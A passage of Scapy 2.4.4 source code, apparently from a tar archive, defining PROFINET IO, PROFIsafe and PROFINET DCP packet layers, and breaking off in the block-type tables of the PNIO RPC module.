0x0100, "RT_CLASS_1": 0x8000, "RT_CLASS_UDP": 0xC000, "FragmentationFrameID": 0xFF80, }[x] except KeyError: pass try: return next(key for key, value in six.iteritems(PNIO_FRAME_IDS) if value == x) except StopIteration: pass return x ################# # PROFINET IO # ################# class ProfinetIO(Packet): """ Basic PROFINET IO dispatcher """ fields_desc = [ XShortEnumField("frameID", 0, (i2s_frameid, s2i_frameid)) ] def guess_payload_class(self, payload): # For frameID in the RT_CLASS_* range, use the RTC packet as payload if self.frameID in [0xfefe, 0xfeff, 0xfefd]: from scapy.contrib.pnio_dcp import ProfinetDCP return ProfinetDCP elif ( (0x0100 <= self.frameID < 0x1000) or (0x8000 <= self.frameID < 0xFC00) ): return PNIORealTimeCyclicPDU return super(ProfinetIO, self).guess_payload_class(payload) bind_layers(Ether, ProfinetIO, type=0x8892) bind_layers(UDP, ProfinetIO, dport=0x8892) ##################################### # PROFINET Real-Time Data Packets # ##################################### conf.contribs["PNIO_RTC"] = {} class PNIORealTime_IOxS(Packet): """ IOCS and IOPS packets for PROFINET Real-Time payload """ name = "PNIO RTC IOxS" fields_desc = [ # IOxS.DataState -- IEC-61158 - 6 - 10 / FDIS ED 3, Table 181 BitEnumField("dataState", 1, 1, ["bad", "good"]), # IOxS.Instance -- IEC-61158 - 6 - 10 / FDIS ED 3, Table 180 BitEnumField("instance", 0, 2, ["subslot", "slot", "device", "controller"]), # IOxS.reserved -- IEC-61158 - 6 - 10 / FDIS ED 3, line 2649 XBitField("reserved", 0, 4), # IOxS.Extension -- IEC-61158-6-10/FDIS ED 3, Table 179 BitField("extension", 0, 1), ] @classmethod def is_extension_set(cls, _pkt, _lst, p, _remain): ret = cls if isinstance(p, type(None)) or p.extension != 0 else None return ret @classmethod def get_len(cls): return sum(type(fld).i2len(None, 0) for fld in cls.fields_desc) def guess_payload_class(self, p): return conf.padding_layer class PNIORealTimeCyclicDefaultRawData(Packet): name = "PROFINET IO Real Time Cyclic Default Raw Data" fields_desc = [ # 4 is the sum of the size of the CycleCounter + DataStatus # + TransferStatus trailing from PNIORealTimeCyclicPDU StrField("data", '', remain=4) ] def guess_payload_class(self, payload): return conf.padding_layer class PNIORealTimeCyclicPDU(Packet): """ PROFINET cyclic real-time """ __slots__ = ["_len", "_layout"] name = "PROFINET Real-Time" fields_desc = [ # C_SDU ^ CSF_SDU -- IEC-61158-6-10/FDIS ED 3, Table 163 PacketListField( "data", [], next_cls_cb=lambda pkt, lst, p, remain: pkt.next_cls_cb( lst, p, remain) ), # RTCPadding -- IEC - 61158 - 6 - 10 / FDIS ED 3, Table 163 StrFixedLenField("padding", '', length_from=lambda p: p.get_padding_length()), # APDU_Status -- IEC-61158-6-10/FDIS ED 3, Table 164 ShortField("cycleCounter", 0), FlagsField("dataStatus", 0x35, 8, [ "primary", "redundancy", "validData", "reserved_1", "run", "no_problem", "reserved_2", "ignore", ]), ByteField("transferStatus", 0) ] def pre_dissect(self, s): # Constraint from IEC-61158-6-10/FDIS ED 3, line 690 self._len = min(1440, len(s)) return s def get_padding_length(self): if hasattr(self, "_len"): pad_len = ( self._len - sum(len(raw(pkt)) for pkt in self.getfieldval("data")) - 2 - # Cycle Counter size (ShortField) 1 - # DataStatus size (FlagsField over 8 bits) 1 # TransferStatus (ByteField) ) else: pad_len = len(self.getfieldval("padding")) # Constraints from IEC-61158-6-10/FDIS ED 3, Table 163 assert(0 <= pad_len <= 40) q = self while not isinstance(q, UDP) and hasattr(q, "underlayer"): q = q.underlayer if isinstance(q, UDP): assert(0 <= pad_len <= 12) return pad_len def next_cls_cb(self, _lst, _p, _remain): if hasattr(self, "_layout") and isinstance(self._layout, list): try: return self._layout.pop(0) except IndexError: self._layout = None return None ether_layer = None q = self while not isinstance(q, Ether) and hasattr(q, "underlayer"): q = q.underlayer if isinstance(q, Ether): ether_layer = q pnio_layer = None q = self while not isinstance(q, ProfinetIO) and hasattr(q, "underlayer"): q = q.underlayer if isinstance(q, ProfinetIO): pnio_layer = q self._layout = [PNIORealTimeCyclicDefaultRawData] if not (ether_layer is None and pnio_layer is None): # Get from config the layout for these hosts and frameid layout = type(self).get_layout_from_config( ether_layer.src, ether_layer.dst, pnio_layer.frameID) if not isinstance(layout, type(None)): self._layout = layout return self._layout.pop(0) @staticmethod def get_layout_from_config(ether_src, ether_dst, frame_id): try: return copy.deepcopy( conf.contribs["PNIO_RTC"][(ether_src, ether_dst, frame_id)] ) except KeyError: return None @staticmethod def build_fixed_len_raw_type(length): return type( "FixedLenRawPacketLen{}".format(length), (conf.raw_layer,), { "name": "FixedLenRawPacketLen{}".format(length), "fields_desc": [StrFixedLenField("data", '', length=length)], "get_data_length": lambda _: length, "guess_payload_class": lambda self, p: conf.padding_layer, } ) # From IEC 61784-3-3 Ed. 3 PROFIsafe v.2.6, Figure 20 profisafe_control_flags = [ "iPar_EN", "OA_Req", "R_cons_nr", "Use_TO2", "activate_FV", "Toggle_h", "ChF_Ack", "Loopcheck" ] # From IEC 61784-3-3 Ed. 3 PROFIsafe v.2.6, Figure 19 profisafe_status_flags = [ "iPar_OK", "Device_Fault/ChF_Ack_Req", "CE_CRC", "WD_timeout", "FV_activated", "Toggle_d", "cons_nr_R", "reserved" ] class PROFIsafeCRCSeed(Packet): __slots__ = ["_len"] + Packet.__slots__ def guess_payload_class(self, p): return conf.padding_layer def get_data_length(self): """ Must be overridden in a subclass to return the correct value """ raise Scapy_Exception( "This method must be overridden in a specific subclass" ) def get_mandatory_fields_len(self): # 5 is the len of the control/status byte + the CRC length return 5 @staticmethod def get_max_data_length(): # Constraints from IEC-61784-3-3 ED 3, Figure 18 return 13 class PROFIsafeControlCRCSeed(PROFIsafeCRCSeed): name = "PROFISafe Control Message with F_CRC_Seed=1" fields_desc = [ StrFixedLenField("data", '', length_from=lambda p: p.get_data_length()), FlagsField("control", 0, 8, profisafe_control_flags), XIntField("crc", 0) ] class PROFIsafeStatusCRCSeed(PROFIsafeCRCSeed): name = "PROFISafe Status Message with F_CRC_Seed=1" fields_desc = [ StrFixedLenField("data", '', length_from=lambda p: p.get_data_length()), FlagsField("status", 0, 8, profisafe_status_flags), XIntField("crc", 0) ] class PROFIsafe(Packet): __slots__ = ["_len"] + Packet.__slots__ def guess_payload_class(self, p): return conf.padding_layer def get_data_length(self): """ Must be overridden in a subclass to return the correct value """ raise Scapy_Exception( "This method must be overridden in a specific subclass" ) def get_mandatory_fields_len(self): # 4 is the len of the control/status byte + the CRC length return 4 @staticmethod def get_max_data_length(): # Constraints from IEC-61784-3-3 ED 3, Figure 18 return 12 @staticmethod def build_PROFIsafe_class(cls, data_length): assert(cls.get_max_data_length() >= data_length) return type( "{}Len{}".format(cls.__name__, data_length), (cls,), { "get_data_length": lambda _: data_length, } ) class PROFIsafeControl(PROFIsafe): name = "PROFISafe Control Message with F_CRC_Seed=0" fields_desc = [ StrFixedLenField("data", '', length_from=lambda p: p.get_data_length()), FlagsField("control", 0, 8, profisafe_control_flags), X3BytesField("crc", 0) ] class PROFIsafeStatus(PROFIsafe): name = "PROFISafe Status Message with F_CRC_Seed=0" fields_desc = [ StrFixedLenField("data", '', length_from=lambda p: p.get_data_length()), FlagsField("status", 0, 8, profisafe_status_flags), X3BytesField("crc", 0) ] scapy-2.4.4/scapy/contrib/pnio_dcp.py000066400000000000000000000464421372370053500176030ustar00rootroot00000000000000# coding: utf8 # This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # Copyright (C) 2019 Stefan Mehner (stefan.mehner@b-tu.de) # scapy.contrib.description = Profinet DCP layer # scapy.contrib.status = loads from scapy.compat import orb from scapy.all import Packet, bind_layers, Padding from scapy.fields import ByteEnumField, ShortField, XShortField, \ ShortEnumField, FieldLenField, XByteField, XIntField, MultiEnumField, \ IPField, MACField, StrLenField, PacketListField, PadField, \ ConditionalField, LenField # minimum packet is 60 bytes.. 14 bytes are Ether() MIN_PACKET_LENGTH = 44 ##################################################### # Constants # ##################################################### DCP_GET_SET_FRAME_ID = 0xFEFD DCP_IDENTIFY_REQUEST_FRAME_ID = 0xFEFE DCP_IDENTIFY_RESPONSE_FRAME_ID = 0xFEFF DCP_REQUEST = 0x00 DCP_RESPONSE = 0x01 DCP_SERVICE_ID_GET = 0x03 DCP_SERVICE_ID_SET = 0x04 DCP_SERVICE_ID_IDENTIFY = 0x05 DCP_SERVICE_ID = { 0x00: "reserved", 0x01: "Manufacturer specific", 0x02: "Manufacturer specific", 0x03: "Get", 0x04: "Set", 0x05: "Identify", 0x06: "Hello", } DCP_SERVICE_TYPE = { 0x00: "Request", 0x01: "Response Success", 0x05: "Response - Request not supported", } DCP_DEVICE_ROLES = { 0x00: "IO Supervisor", 0x01: "IO Device", 0x02: "IO Controller", } DCP_OPTIONS = { 0x00: "reserved", 0x01: "IP", 0x02: "Device properties", 0x03: "DHCP", 0x04: "Reserved", 0x05: "Control", 0x06: "Device Initiative", 0xff: "All Selector" } DCP_OPTIONS.update({i: "reserved" for i in range(0x07, 0x7f)}) DCP_OPTIONS.update({i: "Manufacturer specific" for i in range(0x80, 0xfe)}) DCP_SUBOPTIONS = { # ip 0x01: { 0x00: "Reserved", 0x01: "MAC Address", 0x02: "IP Parameter" }, # device properties 0x02: { 0x00: "Reserved", 0x01: "Manufacturer specific (Type of Station)", 0x02: "Name of Station", 0x03: "Device ID", 0x04: "Device Role", 0x05: "Device Options", 0x06: "Alias Name", 0x07: "Device Instance", 0x08: "OEM Device ID", }, # dhcp 0x03: { 0x0c: "Host name", 0x2b: "Vendor specific", 0x36: "Server identifier", 0x37: "Parameter request list", 0x3c: "Class identifier", 0x3d: "DHCP client identifier", 0x51: "FQDN, Fully Qualified Domain Name", 0x61: "UUID/GUID-based Client", 0xff: "Control DHCP for address resolution" }, # control 0x05: { 0x00: "Reserved", 0x01: "Start Transaction", 0x02: "End Transaction", 0x03: "Signal", 0x04: "Response", 0x05: "Reset Factory Settings", 0x06: "Reset to Factory" }, # device initiative 0x06: { 0x00: "Reserved", 0x01: "Device Initiative" }, 0xff: { 0xff: "ALL Selector" } } BLOCK_INFOS = { 0x00: "Reserved", } BLOCK_INFOS.update({i: "reserved" for i in range(0x01, 0xff)}) IP_BLOCK_INFOS = { 0x0000: "IP not set", 0x0001: "IP set", 0x0002: "IP set by DHCP", 0x0080: "IP not set (address conflict detected)", 0x0081: "IP set (address conflict detected)", 0x0082: "IP set by DHCP (address conflict detected)", } IP_BLOCK_INFOS.update({i: "reserved" for i in range(0x0003, 0x007f)}) BLOCK_ERRORS = { 0x00: "Ok", 0x01: "Option unsupp.", 0x02: "Suboption unsupp. or no DataSet avail.", 0x03: "Suboption not set", 0x04: "Resource Error", 0x05: "SET not possible by local reasons", 0x06: "In operation, SET not possible", } BLOCK_QUALIFIERS = { 0x0000: "Use the value temporary", 0x0001: "Save the value permanent", } BLOCK_QUALIFIERS.update({i: "reserved" for i in range(0x0002, 0x00ff)}) ##################################################### # DCP Blocks # ##################################################### # GENERIC DCP BLOCK # DCP RESPONSE BLOCKS class DCPBaseBlock(Packet): """ base class for all DCP Blocks """ fields_desc = [ ByteEnumField("option", 1, DCP_OPTIONS), MultiEnumField("sub_option", 2, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), FieldLenField("dcp_block_length", None, length_of="data"), ShortEnumField("block_info", 0, BLOCK_INFOS), StrLenField("data", "", length_from=lambda x: x.dcp_block_length), ] def extract_padding(self, s): return '', s # OPTION: IP class DCPIPBlock(Packet): fields_desc = [ ByteEnumField("option", 1, DCP_OPTIONS), MultiEnumField("sub_option", 2, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), LenField("dcp_block_length", None), ShortEnumField("block_info", 1, IP_BLOCK_INFOS), IPField("ip", "192.168.0.2"), IPField("netmask", "255.255.255.0"), IPField("gateway", "192.168.0.1"), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPMACBlock(Packet): fields_desc = [ ByteEnumField("option", 1, DCP_OPTIONS), MultiEnumField("sub_option", 1, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), FieldLenField("dcp_block_length", None), ShortEnumField("block_info", 0, BLOCK_INFOS), MACField("mac", "00:00:00:00:00:00"), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s # OPTION: Device Properties class DCPManufacturerSpecificBlock(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 1, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), FieldLenField("dcp_block_length", None), ShortEnumField("block_info", 0, BLOCK_INFOS), StrLenField("device_vendor_value", "et200sp", length_from=lambda x: x.dcp_block_length - 2), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPNameOfStationBlock(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 2, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), FieldLenField("dcp_block_length", None, length_of="name_of_station", adjust=lambda p, x: x + 2), ShortEnumField("block_info", 0, BLOCK_INFOS), StrLenField("name_of_station", "et200sp", length_from=lambda x: x.dcp_block_length - 2), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPDeviceIDBlock(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 3, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), LenField("dcp_block_length", None), ShortEnumField("block_info", 0, BLOCK_INFOS), XShortField("vendor_id", 0x002a), XShortField("device_id", 0x0313), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPDeviceRoleBlock(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 4, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), LenField("dcp_block_length", 4), ShortEnumField("block_info", 0, BLOCK_INFOS), ByteEnumField("device_role_details", 1, DCP_DEVICE_ROLES), XByteField("reserved", 0x00), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s # one DeviceOptionsBlock can contain 1..n different options class DeviceOption(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 5, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), ] def extract_padding(self, s): return '', s class DCPDeviceOptionsBlock(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 5, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), LenField("dcp_block_length", None), ShortEnumField("block_info", 0, BLOCK_INFOS), PacketListField("device_options", [], DeviceOption, length_from=lambda p: p.dcp_block_length - 2), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPAliasNameBlock(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 6, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), FieldLenField("dcp_block_length", None, length_of="alias_name", adjust=lambda p, x: x + 2), ShortEnumField("block_info", 0, BLOCK_INFOS), StrLenField("alias_name", "et200sp", length_from=lambda x: x.dcp_block_length - 2), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPDeviceInstanceBlock(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 7, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), LenField("dcp_block_length", 4), ShortEnumField("block_info", 0, BLOCK_INFOS), XByteField("device_instance_high", 0x00), XByteField("device_instance_low", 0x01), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPControlBlock(Packet): fields_desc = [ ByteEnumField("option", 5, DCP_OPTIONS), MultiEnumField("sub_option", 4, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), LenField("dcp_block_length", 3), ByteEnumField("response", 2, DCP_OPTIONS), MultiEnumField("response_sub_option", 2, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), ByteEnumField("block_error", 0, BLOCK_ERRORS), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s def guess_dcp_block_class(packet, **kargs): """ returns the correct dcp block class needed to dissect the current tag if nothing can be found -> dcp base block will be used :param packet: the current packet :return: dcp block class """ # packet = unicode(packet, "utf-8") option = orb(packet[0]) suboption = orb(packet[1]) # NOTE implement the other functions if needed class_switch_case = { # IP 0x01: { 0x01: "DCPMACBlock", 0x02: "DCPIPBlock" }, # Device Properties 0x02: { 0x01: "DCPManufacturerSpecificBlock", 0x02: "DCPNameOfStationBlock", 0x03: "DCPDeviceIDBlock", 0x04: "DCPDeviceRoleBlock", 0x05: "DCPDeviceOptionsBlock", 0x06: "DCPAliasNameBlock", 0x07: "DCPDeviceInstanceBlock", 0x08: "OEM Device ID" }, # DHCP 0x03: { 0x0c: "Host name", 0x2b: "Vendor specific", 0x36: "Server identifier", 0x37: "Parameter request list", 0x3c: "Class identifier", 0x3d: "DHCP client identifier", 0x51: "FQDN, Fully Qualified Domain Name", 0x61: "UUID/GUID-based Client", 0xff: "Control DHCP for address resolution" }, # Control 0x05: { 0x00: "Reserved (0x00)", 0x01: "Start Transaction (0x01)", 0x02: "End Transaction (0x02)", 0x03: "Signal (0x03)", 0x04: "DCPControlBlock", 0x05: "Reset Factory Settings (0x05)", 0x06: "Reset to Factory (0x06)" }, # Device Inactive 0x06: { 0x00: "Reserved (0x00)", 0x01: "Device Initiative (0x01)" }, # ALL Selector 0xff: { 0xff: "ALL Selector (0xff)" } } try: c = class_switch_case[option][suboption] except KeyError: c = "DCPBaseBlock" cls = globals()[c] return cls(packet, **kargs) # GENERIC DCP PACKET class ProfinetDCP(Packet): """ Profinet DCP Packet Requests are handled via ConditionalField because here only 1 Block is used every time. Response can contain 1..n Blocks, for that you have to use one ProfinetDCP Layer with one or multiple DCP*Block Layers:: ProfinetDCP / DCPNameOfStationBlock / DCPDeviceIDBlock ... Example for a DCP Identify All Request:: Ether(dst="01:0e:cf:00:00:00") / ProfinetIO(frameID=DCP_IDENTIFY_REQUEST_FRAME_ID) / ProfinetDCP(service_id=DCP_SERVICE_ID_IDENTIFY, service_type=DCP_REQUEST, option=255, sub_option=255, dcp_data_length=4) Example for a DCP Identify Response:: Ether(dst=dst_mac) / ProfinetIO(frameID=DCP_IDENTIFY_RESPONSE_FRAME_ID) / ProfinetDCP( service_id=DCP_SERVICE_ID_IDENTIFY, service_type=DCP_RESPONSE) / DCPNameOfStationBlock(name_of_station="device1") Example for a DCP Set Request:: Ether(dst=mac) / ProfinetIO(frameID=DCP_GET_SET_FRAME_ID) / ProfinetDCP(service_id=DCP_SERVICE_ID_SET, service_type=DCP_REQUEST, option=2, sub_option=2, dcp_data_length=14, dcp_block_length=10, name_of_station=name, reserved=0) """ name = "Profinet DCP" # a DCP PDU consists of some fields and 1..n DCP Blocks fields_desc = [ ByteEnumField("service_id", 5, DCP_SERVICE_ID), ByteEnumField("service_type", 0, DCP_SERVICE_TYPE), XIntField("xid", 0x01000001), # XShortField('reserved', 0), ShortField('reserved', 0), LenField("dcp_data_length", None), # DCP REQUEST specific ConditionalField(ByteEnumField("option", 2, DCP_OPTIONS), lambda pkt: pkt.service_type == 0), ConditionalField( MultiEnumField("sub_option", 3, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), lambda pkt: pkt.service_type == 0), # calculate the len fields - workaround ConditionalField(LenField("dcp_block_length", 0), lambda pkt: pkt.service_type == 0), # DCP SET REQUEST # ConditionalField(ShortEnumField("block_qualifier", 1, BLOCK_QUALIFIERS), lambda pkt: pkt.service_id == 4 and pkt.service_type == 0), # Name Of Station ConditionalField(StrLenField("name_of_station", "et200sp", length_from=lambda x: x.dcp_block_length - 2), lambda pkt: pkt.service_id == 4 and pkt.service_type == 0 and pkt.option == 2 and pkt.sub_option == 2), # MAC ConditionalField(MACField("mac", "00:00:00:00:00:00"), lambda pkt: pkt.service_id == 4 and pkt.service_type == 0 and pkt.option == 1 and pkt.sub_option == 1), # IP ConditionalField(IPField("ip", "192.168.0.2"), lambda pkt: pkt.service_id == 4 and pkt.service_type == 0 and pkt.option == 1 and pkt.sub_option == 2), ConditionalField(IPField("netmask", "255.255.255.0"), lambda pkt: pkt.service_id == 4 and pkt.service_type == 0 and pkt.option == 1 and pkt.sub_option == 2), ConditionalField(IPField("gateway", "192.168.0.1"), lambda pkt: pkt.service_id == 4 and pkt.service_type == 0 and pkt.option == 1 and pkt.sub_option == 2), # DCP IDENTIFY REQUEST # # Name of station ConditionalField(StrLenField("name_of_station", "et200sp", length_from=lambda x: x.dcp_block_length), lambda pkt: pkt.service_id == 5 and pkt.service_type == 0 and pkt.option == 2 and pkt.sub_option == 2), # Alias name ConditionalField(StrLenField("alias_name", "et200sp", length_from=lambda x: x.dcp_block_length), lambda pkt: pkt.service_id == 5 and pkt.service_type == 0 and pkt.option == 2 and pkt.sub_option == 6), # implement further REQUEST fields if needed .... # DCP RESPONSE BLOCKS # ConditionalField( PacketListField("dcp_blocks", [], guess_dcp_block_class, length_from=lambda p: p.dcp_data_length), lambda pkt: pkt.service_type == 1), ] def post_build(self, pkt, pay): # add padding to ensure min packet length padding = MIN_PACKET_LENGTH - (len(pkt + pay)) pay += b"\0" * padding return Packet.post_build(self, pkt, pay) bind_layers(ProfinetDCP, Padding) scapy-2.4.4/scapy/contrib/pnio_rpc.py000066400000000000000000001041361372370053500176140ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # Copyright (C) 2016 Gauthier Sebaux # scapy.contrib.description = ProfinetIO Remote Procedure Call (RPC) # scapy.contrib.status = loads """ PNIO RPC endpoints """ import struct from uuid import UUID from scapy.packet import Packet, bind_layers from scapy.config import conf from scapy.fields import BitField, ByteField, BitEnumField, ConditionalField, \ FieldLenField, FieldListField, IntField, IntEnumField, \ LenField, MACField, PadField, PacketField, PacketListField, \ ShortEnumField, ShortField, StrFixedLenField, StrLenField, \ UUIDField, XByteField, XIntField, XShortEnumField, XShortField from scapy.contrib.dce_rpc import DceRpc, EndiannessField, DceRpcPayload from scapy.compat import bytes_hex from scapy.volatile import RandUUID # Block Packet BLOCK_TYPES_ENUM = { 0x0000: "AlarmNotification_High", 0x0001: "AlarmNotification_Low", 0x0008: "IODWriteReqHeader", 0x0009: "IODReadReqHeader", 0x0010: "DiagnosisData", 0x0012: "ExpectedIdentificationData", 0x0013: "RealIdentificationData", 0x0014: "SubsituteValue", 0x0015: "RecordInputDataObjectElement", 0x0016: "RecordOutputDataObjectElement", 0x0018: "ARData", 0x0019: "LogBookData", 0x001a: "APIData", 0x001b: "SRLData", 0x0020: "I&M0", 0x0021: "I&M1", 0x0022: "I&M2", 0x0023: "I&M3", 0x0024: "I&M4", 0x0030: "I&M0FilterDataSubmodule", 0x0031: "I&M0FilterDataModule", 0x0032: "I&M0FilterDataDevice", 0x0101: "ARBlockReq", 0x0102: "IOCRBlockReq", 0x0103: "AlarmCRBlockReq", 0x0104: "ExpectedSubmoduleBlockReq", 0x0105: "PrmServerBlockReq", 0x0106: "MCRBlockReq", 0x0107: "ARRPCBlockReq", 0x0108: "ARVendorBlockReq", 0x0109: "IRInfoBlock", 0x010a: "SRInfoBlock", 0x010b: "ARFSUBlock", 0x0110: "IODBlockReq_connect_end", 0x0111: "IODBlockReq_plug", 0x0112: "IOXBlockReq_connect", 0x0113: "IOXBlockReq_plug", 0x0114: "ReleaseBlockReq", 0x0116: "IOXBlockReq_companion", 0x0117: "IOXBlockReq_rt_class_3", 0x0118: "IODBlockReq_connect_begin", 0x0119: "SubmoduleListBlock", 0x0200: "PDPortDataCheck", 0x0201: "PdevData", 0x0202: "PDPortDataAdjust", 0x0203: "PDSyncData", 0x0204: "IsochronousModeData", 0x0205: "PDIRData", 0x0206: "PDIRGlobalData", 0x0207: "PDIRFrameData", 0x0208: "PDIRBeginEndData", 0x0209: "AdjustDomainBoundary", 0x020a: "SubBlock_check_Peers", 0x020b: "SubBlock_check_LineDelay", 0x020c: "SubBlock_check_MAUType", 0x020e: "AdjustMAUType", 0x020f: "PDPortDataReal", 0x0210: "AdjustMulticastBoundary", 0x0211: "PDInterfaceMrpDataAdjust", 0x0212: "PDInterfaceMrpDataReal", 0x0213: "PDInterfaceMrpDataCheck", 0x0214: "PDPortMrpDataAdjust", 0x0215: "PDPortMrpDataReal", 0x0216: "MrpManagerParams", 0x0217: "MrpClientParams", 0x0219: "MrpRingStateData", 0x021b: "AdjustLinkState", 0x021c: "CheckLinkState", 0x021e: "CheckSyncDifference", 0x021f: "CheckMAUTypeDifference", 0x0220: "PDPortFODataReal", 0x0221: "FiberOpticManufacturerSpecific", 0x0222: "PDPortFODataAdjust", 0x0223: "PDPortFODataCheck", 0x0224: "AdjustPeerToPeerBoundary", 0x0225: "AdjustDCPBoundary", 0x0226: "AdjustPreambleLength", 0x0228: "FiberOpticDiagnosisInfo", 0x022a: "PDIRSubframeData", 0x022b: "SubframeBlock", 0x022d: "PDTimeData", 0x0230: "PDNCDataCheck", 0x0231: "MrpInstanceDataAdjustBlock", 0x0232: "MrpInstanceDataRealBlock", 0x0233: "MrpInstanceDataCheckBlock", 0x0240: "PDInterfaceDataReal", 0x0250: "PDInterfaceAdjust", 0x0251: "PDPortStatistic", 0x0400: "MultipleBlockHeader", 0x0401: "COContainerContent", 0x0500: "RecordDataReadQuery", 0x0600: "FSHelloBlock", 0x0601: "FSParameterBlock", 0x0608: "PDInterfaceFSUDataAdjust", 0x0609: "ARFSUDataAdjust", 0x0700: "AutoConfiguration", 0x0701: "AutoConfigurationCommunication", 0x0702: "AutoConfigurationConfiguration", 0x0703: "AutoConfigurationIsochronous", 0x0A00: "UploadBLOBQuery", 0x0A01: "UploadBLOB", 0x0A02: "NestedDiagnosisInfo", 0x0F00: "MaintenanceItem", 0x0F01: "UploadRecord", 0x0F02: "iParameterItem", 0x0F03: "RetrieveRecord", 0x0F04: "RetrieveAllRecord", 0x8001: "AlarmAckHigh", 0x8002: "AlarmAckLow", 0x8008: "IODWriteResHeader", 0x8009: "IODReadResHeader", 0x8101: "ARBlockRes", 0x8102: "IOCRBlockRes", 0x8103: "AlarmCRBlockRes", 0x8104: "ModuleDiffBlock", 0x8105: "PrmServerBlockRes", 0x8106: "ARServerBlockRes", 0x8107: "ARRPCBlockRes", 0x8108: "ARVendorBlockRes", 0x8110: "IODBlockRes_connect_end", 0x8111: "IODBlockRes_plug", 0x8112: "IOXBlockRes_connect", 0x8113: "IOXBlockRes_plug", 0x8114: "ReleaseBlockRes", 0x8116: "IOXBlockRes_companion", 0x8117: "IOXBlockRes_rt_class_3", 0x8118: "IODBlockRes_connect_begin", } # IODWriteReq & IODWriteMultipleReq Packets IOD_WRITE_REQ_INDEX = { 0x8000: "ExpectedIdentificationData_subslot", 0x8001: "RealIdentificationData_subslot", 0x800a: "Diagnosis_channel_subslot", 0x800b: "Diagnosis_all_subslot", 0x800c: "Diagnosis_Maintenance_subslot", 0x8010: "Maintenance_required_in_channel_subslot", 0x8011: "Maintenance_demanded_in_channel_subslot", 0x8012: "Maintenance_required_in_all_channels_subslot", 0x8013: "Maintenance_demanded_in_all_channels_subslot", 0x801e: "SubstitueValue_subslot", 0x8020: "PDIRSubframeData_subslot", 0x8028: "RecordInputDataObjectElement_subslot", 0x8029: "RecordOutputDataObjectElement_subslot", 0x802a: "PDPortDataReal_subslot", 0x802b: "PDPortDataCheck_subslot", 0x802c: "PDIRData_subslot", 0x802d: "Expected_PDSyncData_subslot", 0x802f: "PDPortDataAdjust_subslot", 0x8030: "IsochronousModeData_subslot", 0x8031: "Expected_PDTimeData_subslot", 0x8050: "PDInterfaceMrpDataReal_subslot", 0x8051: "PDInterfaceMrpDataCheck_subslot", 0x8052: "PDInterfaceMrpDataAdjust_subslot", 0x8053: "PDPortMrpDataAdjust_subslot", 0x8054: "PDPortMrpDataReal_subslot", 0x8060: "PDPortFODataReal_subslot", 0x8061: "PDPortFODataCheck_subslot", 0x8062: "PDPortFODataAdjust_subslot", 0x8070: "PdNCDataCheck_subslot", 0x8071: "PDInterfaceAdjust_subslot", 0x8072: "PDPortStatistic_subslot", 0x8080: "PDInterfaceDataReal_subslot", 0x8090: "Expected_PDInterfaceFSUDataAdjust", 0x80a0: 